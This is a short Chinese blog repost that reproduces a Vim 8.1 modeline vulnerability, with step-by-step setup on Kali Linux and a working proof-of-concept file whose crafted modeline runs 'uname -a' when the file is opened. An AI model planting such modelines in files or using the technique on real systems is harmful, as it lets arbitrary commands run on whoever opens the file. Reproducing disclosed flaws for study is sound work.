标签:lin poc 结果 uname word ima linux 版本 一点
操作系统:Kali Linux
VIM版本:VIM - Vi IMproved 8.1.693 (2018 May 18, compiled Jan 05 2019 20:53:12)
因为vim默认关闭modeline,所以首先要手工设置modeline。
第1步:开启modeline
在用户家目录(如:/root/)下创建.vimrc文件,文件内容为:
set modeline
第2步:创建poc.txt
创建poc.txt,文件内容为:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
第3步:打开poc.txt
使用vim打开poc.txt即可看到uname命令的执行结果。
这个漏洞比较鸡肋的一点就是vim默认不开启modeline,所以漏洞影响范围有一定局限性。
标签:lin poc 结果 uname word ima linux 版本 一点
原文地址:https://www.cnblogs.com/dgjnszf/p/11002766.html